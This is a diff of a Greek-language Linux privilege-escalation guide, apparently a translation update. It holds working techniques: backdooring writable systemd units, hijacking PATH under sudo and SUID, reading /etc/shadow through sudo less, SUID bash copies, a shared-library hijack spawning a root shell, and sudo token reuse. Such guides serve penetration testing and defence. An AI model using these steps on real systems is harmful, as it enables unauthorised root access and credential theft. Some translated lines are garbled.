``` ### Συχνές cron εργασίες -Μπορείτε να παρακολουθήσετε τις διεργασίες για να αναζητήσετε διεργασίες που εκτελούνται κάθε 1, 2 ή 5 λεπτά. Ίσως μπορείτε να εκμεταλλευτείτε αυτό και να κερδίσετε δικαιώματα. +Μπορείτε να παρακολουθήσετε τις διεργασίες για να αναζητήσετε διεργασίες που εκτελούνται κάθε 1, 2 ή 5 λεπτά. Ίσως μπορείτε να εκμεταλλευτείτε αυτό και να κλιμακώσετε τα δικαιώματα. Για παράδειγμα, για να **παρακολουθήσετε κάθε 0.1s κατά τη διάρκεια 1 λεπτού**, **ταξινομήστε κατά λιγότερες εκτελέσεις εντολών** και διαγράψτε τις εντολές που έχουν εκτελεστεί περισσότερο, μπορείτε να κάνετε: ```bash @@ -372,24 +372,24 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### Αόρατα cron jobs -Είναι δυνατόν να δημιουργήσετε ένα cronjob **βάζοντας μια επιστροφή καροτσιού μετά από ένα σχόλιο** (χωρίς χαρακτήρα νέας γραμμής), και το cron job θα λειτουργήσει. Παράδειγμα (σημειώστε τον χαρακτήρα επιστροφής καροτσιού): +Είναι δυνατόν να δημιουργήσετε ένα cronjob **βάζοντας ένα χαρακτήρα επιστροφής καροτσιού μετά από ένα σχόλιο** (χωρίς χαρακτήρα νέας γραμμής), και το cron job θα λειτουργήσει. Παράδειγμα (σημειώστε τον χαρακτήρα επιστροφής καροτσιού): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Υπηρεσίες -### Γραφές _.service_ που είναι εγγράψιμες +### Γραφές _.service_ Ελέγξτε αν μπορείτε να γράψετε οποιοδήποτε αρχείο `.service`, αν μπορείτε, θα **μπορούσατε να το τροποποιήσετε** ώστε να **εκτελεί** το **backdoor σας όταν** η υπηρεσία **ξεκινά**, **επανεκκινείται** ή **σταματά** (ίσως χρειαστεί να περιμένετε μέχρι να επανεκκινήσει η μηχανή).\ Για παράδειγμα, δημιουργήστε το backdoor σας μέσα στο αρχείο .service με **`ExecStart=/tmp/script.sh`** -### Εκτελέσιμα αρχεία υπηρεσίας που είναι εγγράψιμα +### Εκτελέσιμα αρχεία υπηρεσιών Λάβετε υπόψη ότι αν έχετε **δικαιώματα εγγραφής σε εκτελέσιμα αρχεία που εκτελούνται από υπηρεσίες**, μπορείτε να τα αλλάξετε με backdoors ώστε όταν οι υπηρεσίες εκτελούνται ξανά, τα backdoors να εκτελούνται. ### systemd PATH - Σχετικές Διαδρομές -Μπορείτε να δείτε τη διαδρομή PATH που χρησιμοποιεί το **systemd** με: +Μπορείτε να δείτε την PATH που χρησιμοποιεί το **systemd** με: ```bash systemctl show-environment ``` @@ -417,14 +417,14 @@ systemctl list-timers --all ```bash Unit=backdoor.service ``` -Στην τεκμηρίωση μπορείτε να διαβάσετε τι είναι η μονάδα: +Στην τεκμηρίωση μπορείτε να διαβάσετε τι είναι η Μονάδα: -> Η μονάδα που θα ενεργοποιηθεί όταν λήξει αυτός ο χρονοδιακόπτης. Το επιχείρημα είναι ένα όνομα μονάδας, του οποίου το επίθημα δεν είναι ".timer". Αν δεν καθοριστεί, αυτή η τιμή προεπιλέγεται σε μια υπηρεσία που έχει το ίδιο όνομα με τη μονάδα χρονοδιακόπτη, εκτός από το επίθημα. (Δείτε παραπάνω.) Συνιστάται το όνομα της μονάδας που ενεργοποιείται και το όνομα της μονάδας χρονοδιακόπτη να ονομάζονται ταυτόχρονα, εκτός από το επίθημα. +> Η μονάδα που θα ενεργοποιηθεί όταν λήξει αυτός ο χρονοδιακόπτης. Το επιχείρημα είναι ένα όνομα μονάδας, του οποίου το επίθημα δεν είναι ".timer". Αν δεν καθοριστεί, αυτή η τιμή προεπιλέγεται σε μια υπηρεσία που έχει το ίδιο όνομα με τη μονάδα χρονοδιακόπτη, εκτός από το επίθημα. (Δείτε παραπάνω.) Συνιστάται το όνομα της μονάδας που ενεργοποιείται και το όνομα της μονάδας χρονοδιακόπτη να είναι ονομάζονται ομοίως, εκτός από το επίθημα. -Επομένως, για να εκμεταλλευτείτε αυτή την άδεια θα χρειαστεί να: +Επομένως, για να εκμεταλλευτείτε αυτήν την άδεια θα χρειαστεί να: - Βρείτε κάποια μονάδα systemd (όπως μια `.service`) που **εκτελεί ένα εγγράψιμο δυαδικό αρχείο** -- Βρείτε κάποια μονάδα systemd που **εκτελεί μια σχετική διαδρομή** και έχετε **δικαιώματα εγγραφής** πάνω στη **διαδρομή systemd** (για να προσποιηθείτε ότι είστε αυτή η εκτελέσιμη) +- Βρείτε κάποια μονάδα systemd που **εκτελεί μια σχετική διαδρομή** και έχετε **δικαιώματα εγγραφής** πάνω στη **διαδρομή systemd** (για να προσποιηθείτε ότι είστε αυτό το εκτελέσιμο) **Μάθετε περισσότερα για τους χρονοδιακόπτες με `man systemd.timer`.** @@ -435,7 +435,7 @@ Unit=backdoor.service sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Σημειώστε ότι ο **χρονοδιακόπτης** είναι **ενεργοποιημένος** δημιουργώντας ένα symlink σε αυτόν στο `/etc/systemd/system/.wants/.timer` +Σημειώστε ότι ο **χρονιστής** είναι **ενεργοποιημένος** δημιουργώντας ένα symlink σε αυτόν στο `/etc/systemd/system/.wants/.timer` ## Sockets @@ -445,16 +445,16 @@ Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /li **Μάθετε περισσότερα για τους sockets με `man systemd.socket`.** Μέσα σε αυτό το αρχείο, μπορούν να ρυθμιστούν αρκετές ενδιαφέρουσες παράμετροι: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Αυτές οι επιλογές είναι διαφορετικές αλλά χρησιμοποιείται μια σύνοψη για να **υποδείξει πού θα ακούσει** ο socket (η διαδρομή του αρχείου socket AF_UNIX, η IPv4/6 και/ή ο αριθμός θύρας για ακρόαση, κ.λπ.) -- `Accept`: Δέχεται ένα boolean επιχείρημα. Αν είναι **true**, μια **εγκατάσταση υπηρεσίας δημιουργείται για κάθε εισερχόμενη σύνδεση** και μόνο ο socket σύνδεσης μεταφέρεται σε αυτήν. Αν είναι **false**, όλοι οι ακροατές sockets μεταφέρονται **στην ξεκινώμενη μονάδα υπηρεσίας**, και μόνο μία μονάδα υπηρεσίας δημιουργείται για όλες τις συνδέσεις. Αυτή η τιμή αγνοείται για sockets datagram και FIFOs όπου μια μοναδική μονάδα υπηρεσίας χειρίζεται χωρίς όρους όλη την εισερχόμενη κίνηση. **Προεπιλογή είναι το false**. Για λόγους απόδοσης, συνιστάται να γράφετε νέους δαίμονες μόνο με τρόπο που είναι κατάλληλος για `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Δέχεται μία ή περισσότερες γραμμές εντολών, οι οποίες **εκτελούνται πριν** ή **μετά** τη δημιουργία και δέσμευση των ακροατών **sockets**/FIFOs, αντίστοιχα. Ο πρώτος τόκος της γραμμής εντολών πρέπει να είναι ένα απόλυτο όνομα αρχείου, ακολουθούμενο από επιχειρήματα για τη διαδικασία. -- `ExecStopPre`, `ExecStopPost`: Πρόσθετες **εντολές** που εκτελούνται **πριν** ή **μετά** το κλείσιμο και την αφαίρεση των ακροατών **sockets**/FIFOs, αντίστοιχα. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Αυτές οι επιλογές είναι διαφορετικές αλλά χρησιμοποιείται μια σύνοψη για να **υποδείξει πού θα ακούσει** ο socket (η διαδρομή του αρχείου socket AF_UNIX, η IPv4/6 και/ή ο αριθμός θύρας για να ακούσει, κ.λπ.) +- `Accept`: Δέχεται ένα boolean επιχείρημα. Αν είναι **true**, μια **περίπτωση υπηρεσίας δημιουργείται για κάθε εισερχόμενη σύνδεση** και μόνο ο socket σύνδεσης μεταβιβάζεται σε αυτήν. Αν είναι **false**, όλοι οι ακ listening sockets μεταβιβάζονται **στην ξεκινώμενη μονάδα υπηρεσίας**, και μόνο μία μονάδα υπηρεσίας δημιουργείται για όλες τις συνδέσεις. Αυτή η τιμή αγνοείται για datagram sockets και FIFOs όπου μια ενιαία μονάδα υπηρεσίας χειρίζεται χωρίς όρους όλη την εισερχόμενη κίνηση. **Προεπιλογή είναι το false**. Για λόγους απόδοσης, συνιστάται να γράφετε νέους δαίμονες μόνο με τρόπο που είναι κατάλληλος για `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Δέχεται μία ή περισσότερες γραμμές εντολών, οι οποίες **εκτελούνται πριν** ή **μετά** τη δημιουργία και δέσμευση των ακ listening **sockets**/FIFOs, αντίστοιχα. Ο πρώτος χαρακτήρας της γραμμής εντολών πρέπει να είναι ένα απόλυτο όνομα αρχείου, ακολουθούμενο από παραμέτρους για τη διαδικασία. +- `ExecStopPre`, `ExecStopPost`: Πρόσθετες **εντολές** που **εκτελούνται πριν** ή **μετά** το κλείσιμο και την αφαίρεση των ακ listening **sockets**/FIFOs, αντίστοιχα. - `Service`: Προσδιορίζει το όνομα της μονάδας **υπηρεσίας** **για ενεργοποίηση** στην **εισερχόμενη κίνηση**. Αυτή η ρύθμιση επιτρέπεται μόνο για sockets με Accept=no. Προεπιλογή είναι η υπηρεσία που φέρει το ίδιο όνομα με τον socket (με το επίθημα να έχει αντικατασταθεί). Στις περισσότερες περιπτώσεις, δεν θα πρέπει να είναι απαραίτητο να χρησιμοποιήσετε αυτήν την επιλογή. ### Writable .socket files -Αν βρείτε ένα **γρα writable** `.socket` αρχείο μπορείτε να **προσθέσετε** στην αρχή της ενότητας `[Socket]` κάτι σαν: `ExecStartPre=/home/kali/sys/backdoor` και η πίσω πόρτα θα εκτελείται πριν δημιουργηθεί ο socket. Επομένως, θα **πρέπει πιθανώς να περιμένετε μέχρι να επανεκκινηθεί η μηχανή.**\ -&#xNAN;_Note ότι το σύστημα πρέπει να χρησιμοποιεί αυτή τη ρύθμιση αρχείου socket ή η πίσω πόρτα δεν θα εκτελείται_ +Αν βρείτε ένα **γρα writable** `.socket` αρχείο μπορείτε να **προσθέσετε** στην αρχή της ενότητας `[Socket]` κάτι σαν: `ExecStartPre=/home/kali/sys/backdoor` και η backdoor θα εκτελείται πριν δημιουργηθεί ο socket. Επομένως, θα **πρέπει πιθανώς να περιμένετε μέχρι να επανεκκινηθεί η μηχανή.**\ +&#xNAN;_Note ότι το σύστημα πρέπει να χρησιμοποιεί αυτή τη διαμόρφωση αρχείου socket ή η backdoor δεν θα εκτελείται_ ### Writable sockets @@ -489,7 +489,7 @@ curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ### Γράψιμο Docker Socket -Το Docker socket, που συχνά βρίσκεται στο `/var/run/docker.sock`, είναι ένα κρίσιμο αρχείο που θα πρέπει να ασφαλίζεται. Από προεπιλογή, είναι γράψιμο από τον χρήστη `root` και τα μέλη της ομάδας `docker`. Η κατοχή δικαιώματος εγγραφής σε αυτό το socket μπορεί να οδηγήσει σε κλιμάκωση δικαιωμάτων. Ακολουθεί μια ανάλυση του πώς μπορεί να γίνει αυτό και εναλλακτικές μέθοδοι αν η Docker CLI δεν είναι διαθέσιμη. +Το Docker socket, που συχνά βρίσκεται στο `/var/run/docker.sock`, είναι ένα κρίσιμο αρχείο που θα πρέπει να ασφαλίζεται. Από προεπιλογή, είναι γράψιμο από τον χρήστη `root` και τα μέλη της ομάδας `docker`. Η κατοχή δικαιώματος εγγραφής σε αυτό το socket μπορεί να οδηγήσει σε κλιμάκωση δικαιωμάτων. Ακολουθεί μια ανάλυση του πώς μπορεί να γίνει αυτό και εναλλακτικές μέθοδοι αν το Docker CLI δεν είναι διαθέσιμο. #### **Κλιμάκωση Δικαιωμάτων με Docker CLI** @@ -568,7 +568,7 @@ runc-privilege-escalation.md Το D-Bus λειτουργεί με ένα **μοντέλο επιτρεπόμενου/απαγορευμένου**, διαχειριζόμενο τις άδειες μηνυμάτων (κλήσεις μεθόδων, εκπομπές σημάτων κ.λπ.) με βάση το σωρευτικό αποτέλεσμα των κανόνων πολιτικής που ταιριάζουν. Αυτές οι πολιτικές καθορίζουν τις αλληλεπιδράσεις με το λεωφορείο, επιτρέποντας ενδεχομένως την κλιμάκωση δικαιωμάτων μέσω της εκμετάλλευσης αυτών των αδειών. -Ένα παράδειγμα μιας τέτοιας πολιτικής στο `/etc/dbus-1/system.d/wpa_supplicant.conf` παρέχεται, λεπτομερώνοντας τις άδειες για τον χρήστη root να κατέχει, να στέλνει και να λαμβάνει μηνύματα από το `fi.w1.wpa_supplicant1`. +Ένα παράδειγμα μιας τέτοιας πολιτικής στο `/etc/dbus-1/system.d/wpa_supplicant.conf` παρέχεται, λεπτομερώνοντας τις άδειες για τον χρήστη root να κατέχει, να στέλνει και να λαμβάνει μηνύματα από `fi.w1.wpa_supplicant1`. Οι πολιτικές χωρίς καθορισμένο χρήστη ή ομάδα ισχύουν καθολικά, ενώ οι πολιτικές "προεπιλογής" ισχύουν για όλα τα μη καλυπτόμενα από άλλες συγκεκριμένες πολιτικές. ```xml @@ -587,7 +587,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Δίκτυο** -Είναι πάντα ενδιαφέρον να καταγράφετε το δίκτυο και να κατανοείτε τη θέση της μηχανής. +Είναι πάντα ενδιαφέρον να καταγράφετε το δίκτυο και να ανακαλύπτετε τη θέση της μηχανής. ### Γενική καταγραφή ```bash @@ -694,7 +694,7 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ### $PATH -Αν διαπιστώσετε ότι μπορείτε να **γράψετε μέσα σε κάποιον φάκελο του $PATH** μπορεί να είστε σε θέση να ανεβάσετε δικαιώματα δημιουργώντας **ένα backdoor μέσα στον γράψιμο φάκελο** με το όνομα κάποιας εντολής που πρόκειται να εκτελεστεί από έναν διαφορετικό χρήστη (ιδανικά root) και που **δεν φορτώνεται από φάκελο που βρίσκεται πριν** από τον γράψιμο φάκελο σας στο $PATH. +Αν διαπιστώσετε ότι μπορείτε να **γράψετε μέσα σε κάποιον φάκελο του $PATH** μπορεί να είστε σε θέση να ανεβάσετε δικαιώματα δημιουργώντας **ένα backdoor μέσα στον γράψιμο φάκελο** με το όνομα κάποιας εντολής που πρόκειται να εκτελεστεί από έναν διαφορετικό χρήστη (ιδανικά root) και που **δεν φορτώνεται από έναν φάκελο που βρίσκεται πριν** από τον γράψιμο φάκελο σας στο $PATH. ### SUDO και SUID @@ -738,7 +738,7 @@ sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### Sudo εκτέλεση παράκαμψη διαδρομών -**Μεταβείτε** για να διαβάσετε άλλα αρχεία ή χρησιμοποιήστε **συμβολικούς συνδέσμους**. Για παράδειγμα στο αρχείο sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Μεταβείτε** για να διαβάσετε άλλα αρχεία ή χρησιμοποιήστε **συμβολικούς συνδέσμους**. Για παράδειγμα, στο αρχείο sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -748,7 +748,7 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Αν χρησιμοποιηθεί ένα **wildcard** (\*), είναι ακόμη πιο εύκολο: +Αν χρησιμοποιηθεί ένα **wildcard** (\*), είναι ακόμα πιο εύκολο: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files @@ -757,21 +757,21 @@ sudo less /var/log/something /etc/shadow #Red 2 files ### Εντολή Sudo/SUID δυαδικό αρχείο χωρίς διαδρομή εντολής -Εάν η **άδεια sudo** δίνεται σε μια μόνο εντολή **χωρίς να καθορίζεται η διαδρομή**: _hacker10 ALL= (root) less_ μπορείτε να το εκμεταλλευτείτε αλλάζοντας τη μεταβλητή PATH +Εάν η **άδεια sudo** έχει δοθεί σε μια μόνο εντολή **χωρίς να καθοριστεί η διαδρομή**: _hacker10 ALL= (root) less_ μπορείτε να το εκμεταλλευτείτε αλλάζοντας τη μεταβλητή PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Αυτή η τεχνική μπορεί επίσης να χρησιμοποιηθεί αν ένα **suid** δυαδικό αρχείο **εκτελεί μια άλλη εντολή χωρίς να καθορίζει τη διαδρομή της (πάντα έλεγξε με** _**strings**_ **το περιεχόμενο ενός παράξενου SUID δυαδικού αρχείου)**. +Αυτή η τεχνική μπορεί επίσης να χρησιμοποιηθεί αν ένα **suid** δυαδικό αρχείο **εκτελεί μια άλλη εντολή χωρίς να καθορίζει τη διαδρομή της (πάντα ελέγξτε με** _**strings**_ **το περιεχόμενο ενός παράξενου SUID δυαδικού αρχείου)**. [Παραδείγματα payload για εκτέλεση.](payloads-to-execute.md) ### SUID δυαδικό αρχείο με διαδρομή εντολής -Αν το **suid** δυαδικό αρχείο **εκτελεί μια άλλη εντολή καθορίζοντας τη διαδρομή**, τότε, μπορείς να προσπαθήσεις να **εξάγεις μια συνάρτηση** με το όνομα της εντολής που καλεί το αρχείο suid. +Αν το **suid** δυαδικό αρχείο **εκτελεί μια άλλη εντολή καθορίζοντας τη διαδρομή**, τότε μπορείτε να προσπαθήσετε να **εξάγετε μια συνάρτηση** με το όνομα της εντολής που καλεί το αρχείο suid. -Για παράδειγμα, αν ένα suid δυαδικό αρχείο καλεί _**/usr/sbin/service apache2 start**_ πρέπει να προσπαθήσεις να δημιουργήσεις τη συνάρτηση και να την εξάγεις: +Για παράδειγμα, αν ένα suid δυαδικό αρχείο καλεί _**/usr/sbin/service apache2 start**_ πρέπει να προσπαθήσετε να δημιουργήσετε τη συνάρτηση και να την εξάγετε: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service @@ -842,7 +842,7 @@ strace 2>&1 | grep -i -E "open|access|no such file" ``` Για παράδειγμα, η εμφάνιση ενός σφάλματος όπως _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ υποδηλώνει μια πιθανότητα εκμετάλλευσης. -Για να εκμεταλλευτεί κανείς αυτό, θα προχωρήσει δημιουργώντας ένα αρχείο C, ας πούμε _"/path/to/.config/libcalc.c"_, που θα περιέχει τον παρακάτω κώδικα: +Για να εκμεταλλευτεί κανείς αυτό, θα προχωρήσει στη δημιουργία ενός αρχείου C, ας πούμε _"/path/to/.config/libcalc.c"_, που θα περιέχει τον παρακάτω κώδικα: ```c #include #include @@ -894,7 +894,7 @@ system("/bin/bash -p"); [**GTFOBins**](https://gtfobins.github.io) είναι μια επιμελημένη λίστα Unix binaries που μπορούν να εκμεταλλευτούν από έναν επιτιθέμενο για να παρακάμψουν τους τοπικούς περιορισμούς ασφαλείας. [**GTFOArgs**](https://gtfoargs.github.io/) είναι το ίδιο αλλά για περιπτώσεις όπου μπορείτε **μόνο να εισάγετε επιχειρήματα** σε μια εντολή. -Το έργο συλλέγει νόμιμες συναρτήσεις Unix binaries που μπορούν να καταχραστούν για να σπάσουν περιορισμένα κέλυφη, να κλιμακώσουν ή να διατηρήσουν ανυψωμένα προνόμια, να μεταφέρουν αρχεία, να δημιουργήσουν bind και reverse shells, και να διευκολύνουν άλλες εργασίες μετά την εκμετάλλευση. +Το έργο συλλέγει νόμιμες συναρτήσεις Unix binaries που μπορούν να καταχραστούν για να σπάσουν περιορισμένα κέλυφα, να κλιμακώσουν ή να διατηρήσουν ανυψωμένα προνόμια, να μεταφέρουν αρχεία, να δημιουργήσουν bind και reverse shells, και να διευκολύνουν άλλες εργασίες μετά την εκμετάλλευση. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -907,11 +907,11 @@ system("/bin/bash -p"); ### FallOfSudo -Εάν μπορείτε να αποκτήσετε πρόσβαση στο `sudo -l`, μπορείτε να χρησιμοποιήσετε το εργαλείο [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) για να ελέγξετε αν βρίσκει πώς να εκμεταλλευτεί οποιονδήποτε κανόνα sudo. +Εάν μπορείτε να αποκτήσετε πρόσβαση στο `sudo -l` μπορείτε να χρησιμοποιήσετε το εργαλείο [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) για να ελέγξετε αν βρίσκει πώς να εκμεταλλευτεί οποιονδήποτε κανόνα sudo. ### Επαναχρησιμοποίηση Σημείων Sudo -Σε περιπτώσεις όπου έχετε **sudo πρόσβαση** αλλά όχι τον κωδικό πρόσβασης, μπορείτε να κλιμακώσετε τα προνόμια σας **περιμένοντας την εκτέλεση μιας εντολής sudo και στη συνέχεια αναλαμβάνοντας το session token**. +Σε περιπτώσεις όπου έχετε **πρόσβαση sudo** αλλά όχι τον κωδικό πρόσβασης, μπορείτε να κλιμακώσετε τα προνόμια σας **περιμένοντας την εκτέλεση μιας εντολής sudo και στη συνέχεια αναλαμβάνοντας το session token**. Απαιτήσεις για την κλιμάκωση προνομίων: @@ -924,7 +924,7 @@ system("/bin/bash -p"); Εάν πληρούνται όλες αυτές οι απαιτήσεις, **μπορείτε να κλιμακώσετε τα προνόμια χρησιμοποιώντας:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Η **πρώτη εκμετάλλευση** (`exploit.sh`) θα δημιουργήσει το δυαδικό `activate_sudo_token` στο _/tmp_. Μπορείτε να το χρησιμοποιήσετε για να **ενεργοποιήσετε το sudo token στη συνεδρία σας** (δεν θα αποκτήσετε αυτόματα ένα root shell, κάντε `sudo su`): +- Η **πρώτη εκμετάλλευση** (`exploit.sh`) θα δημιουργήσει το binary `activate_sudo_token` στο _/tmp_. Μπορείτε να το χρησιμοποιήσετε για να **ενεργοποιήσετε το sudo token στη συνεδρία σας** (δεν θα αποκτήσετε αυτόματα ένα root shell, κάντε `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token @@ -1044,7 +1044,7 @@ execve(file,argv,0); ``` ## Δυνατότητες -Οι δυνατότητες του Linux παρέχουν ένα **υποσύνολο των διαθέσιμων δικαιωμάτων root σε μια διαδικασία**. Αυτό ουσιαστικά σπάει τα δικαιώματα root **σε μικρότερες και διακριτές μονάδες**. Κάθε μία από αυτές τις μονάδες μπορεί στη συνέχεια να παραχωρηθεί ανεξάρτητα σε διαδικασίες. Με αυτόν τον τρόπο, το πλήρες σύνολο δικαιωμάτων μειώνεται, μειώνοντας τους κινδύνους εκμετάλλευσης.\ +Οι δυνατότητες του Linux παρέχουν ένα **υποσύνολο των διαθέσιμων δικαιωμάτων root σε μια διαδικασία**. Αυτό σπάει αποτελεσματικά τα δικαιώματα root **σε μικρότερες και διακριτές μονάδες**. Κάθε μία από αυτές τις μονάδες μπορεί στη συνέχεια να παραχωρηθεί ανεξάρτητα σε διαδικασίες. Με αυτόν τον τρόπο, το πλήρες σύνολο δικαιωμάτων μειώνεται, μειώνοντας τους κινδύνους εκμετάλλευσης.\ Διαβάστε την παρακάτω σελίδα για **να μάθετε περισσότερα σχετικά με τις δυνατότητες και πώς να τις εκμεταλλευτείτε**: {{#ref}} @@ -1054,11 +1054,11 @@ linux-capabilities.md ## Δικαιώματα καταλόγου Σε έναν κατάλογο, το **bit για "εκτέλεση"** υποδηλώνει ότι ο επηρεαζόμενος χρήστης μπορεί να "**cd**" στον φάκελο.\ -Το **"read"** bit υποδηλώνει ότι ο χρήστης μπορεί να **καταγράψει** τα **αρχεία**, και το **"write"** bit υποδηλώνει ότι ο χρήστης μπορεί να **διαγράψει** και **δημιουργήσει** νέα **αρχεία**. +Το **"αναγνωστικό"** bit υποδηλώνει ότι ο χρήστης μπορεί να **καταγράψει** τα **αρχεία**, και το **"γραφής"** bit υποδηλώνει ότι ο χρήστης μπορεί να **διαγράψει** και **δημιουργήσει** νέα **αρχεία**. ## ACLs -Οι Λίστες Ελέγχου Πρόσβασης (ACLs) αντιπροσωπεύουν το δευτερεύον επίπεδο διακριτικών δικαιωμάτων, ικανές να **παρακάμψουν τα παραδοσιακά δικαιώματα ugo/rwx**. Αυτά τα δικαιώματα ενισχύουν τον έλεγχο της πρόσβασης σε αρχεία ή καταλόγους επιτρέποντας ή αρνούμενα δικαιώματα σε συγκεκριμένους χρήστες που δεν είναι οι ιδιοκτήτες ή μέλη της ομάδας. Αυτό το επίπεδο **λεπτομέρειας εξασφαλίζει πιο ακριβή διαχείριση πρόσβασης**. Περισσότερες λεπτομέρειες μπορείτε να βρείτε [**εδώ**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Οι Λίστες Ελέγχου Πρόσβασης (ACLs) αντιπροσωπεύουν το δευτερεύον επίπεδο διακριτικών δικαιωμάτων, ικανών να **παρακάμπτουν τα παραδοσιακά δικαιώματα ugo/rwx**. Αυτά τα δικαιώματα ενισχύουν τον έλεγχο της πρόσβασης σε αρχεία ή καταλόγους επιτρέποντας ή αρνούμενα δικαιώματα σε συγκεκριμένους χρήστες που δεν είναι οι ιδιοκτήτες ή μέλη της ομάδας. Αυτό το επίπεδο **λεπτομέρειας εξασφαλίζει πιο ακριβή διαχείριση πρόσβασης**. Περισσότερες λεπτομέρειες μπορείτε να βρείτε [**εδώ**](https://linuxconfig.org/how-to-manage-acls-on-linux). **Δώστε** στον χρήστη "kali" δικαιώματα ανάγνωσης και εγγραφής σε ένα αρχείο: ```bash @@ -1071,12 +1071,12 @@ setfacl -b file.txt #Remove the ACL of the file ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Ανοιχτές συνεδρίες κελύφους +## Ανοιχτές συνεδρίες shell -Σε **παλιές εκδόσεις** μπορεί να **παρακάμψετε** κάποιες **συνεδρίες** κελύφους άλλου χρήστη (**root**).\ -Σε **νεότερες εκδόσεις** θα μπορείτε να **συνδεθείτε** μόνο σε συνεδρίες οθόνης του **δικού σας χρήστη**. Ωστόσο, θα μπορούσατε να βρείτε **ενδιαφέρουσες πληροφορίες μέσα στη συνεδρία**. +Σε **παλιές εκδόσεις** μπορείς να **καταλάβεις** κάποιες **συνεδρίες shell** ενός διαφορετικού χρήστη (**root**).\ +Σε **νεότερες εκδόσεις** θα μπορείς να **συνδεθείς** μόνο σε συνεδρίες οθόνης του **δικού σου χρήστη**. Ωστόσο, μπορείς να βρεις **ενδιαφέρουσες πληροφορίες μέσα στη συνεδρία**. -### Παράκαμψη συνεδριών οθόνης +### Κατάληψη συνεδριών οθόνης **Λίστα συνεδριών οθόνης** ```bash @@ -1147,14 +1147,14 @@ AuthorizedKeysFile .ssh/authorized_keys access ### ForwardAgent/AllowAgentForwarding -Η προώθηση του SSH agent σας επιτρέπει να **χρησιμοποιείτε τα τοπικά σας SSH κλειδιά αντί να αφήνετε κλειδιά** (χωρίς κωδικούς πρόσβασης!) να βρίσκονται στον διακομιστή σας. Έτσι, θα μπορείτε να **πηδήξετε** μέσω ssh **σε έναν υπολογιστή** και από εκεί **να πηδήξετε σε έναν άλλο** υπολογιστή **χρησιμοποιώντας** το **κλειδί** που βρίσκεται στον **αρχικό σας υπολογιστή**. +Η προώθηση του SSH agent σας επιτρέπει να **χρησιμοποιείτε τα τοπικά σας SSH κλειδιά αντί να αφήνετε κλειδιά** (χωρίς κωδικούς πρόσβασης!) να βρίσκονται στον διακομιστή σας. Έτσι, θα μπορείτε να **πηδήξετε** μέσω ssh **σε έναν υπολογιστή** και από εκεί **να πηδήξετε σε έναν άλλο** υπολογιστή **χρησιμοποιώντας** το **κλειδί** που βρίσκεται στον **αρχικό υπολογιστή** σας. Πρέπει να ρυθμίσετε αυτή την επιλογή στο `$HOME/.ssh.config` όπως αυτό: ``` Host example.com ForwardAgent yes ``` -Σημειώστε ότι αν το `Host` είναι `*`, κάθε φορά που ο χρήστης μεταπηδά σε μια διαφορετική μηχανή, αυτή η μηχανή θα μπορεί να έχει πρόσβαση στα κλειδιά (το οποίο είναι ένα ζήτημα ασφαλείας). +Σημειώστε ότι αν το `Host` είναι `*`, κάθε φορά που ο χρήστης μεταπηδά σε μια διαφορετική μηχανή, αυτή η μηχανή θα μπορεί να έχει πρόσβαση στα κλειδιά (που είναι ένα ζήτημα ασφαλείας). Το αρχείο `/etc/ssh_config` μπορεί να **αντικαταστήσει** αυτές τις **επιλογές** και να επιτρέψει ή να αρνηθεί αυτή τη ρύθμιση.\ Το αρχείο `/etc/sshd_config` μπορεί να **επιτρέψει** ή να **αρνηθεί** τη μεταφορά ssh-agent με τη λέξη-κλειδί `AllowAgentForwarding` (η προεπιλογή είναι επιτρεπτή). @@ -1173,11 +1173,11 @@ ssh-forward-agent-exploitation.md ```bash ls -l /etc/profile /etc/profile.d/ ``` -Αν βρείτε κάποιο περίεργο προφίλ script, θα πρέπει να το ελέγξετε για **ευαίσθητες λεπτομέρειες**. +Αν βρείτε οποιοδήποτε περίεργο προφίλ script, θα πρέπει να το ελέγξετε για **ευαίσθητες λεπτομέρειες**. ### Αρχεία Passwd/Shadow -Ανάλογα με το λειτουργικό σύστημα, τα αρχεία `/etc/passwd` και `/etc/shadow` μπορεί να έχουν διαφορετικό όνομα ή να υπάρχει ένα αντίγραφο ασφαλείας. Επομένως, συνιστάται να **βρείτε όλα αυτά** και να **ελέγξετε αν μπορείτε να τα διαβάσετε** για να δείτε **αν υπάρχουν hashes** μέσα στα αρχεία: +Ανάλογα με το λειτουργικό σύστημα, τα αρχεία `/etc/passwd` 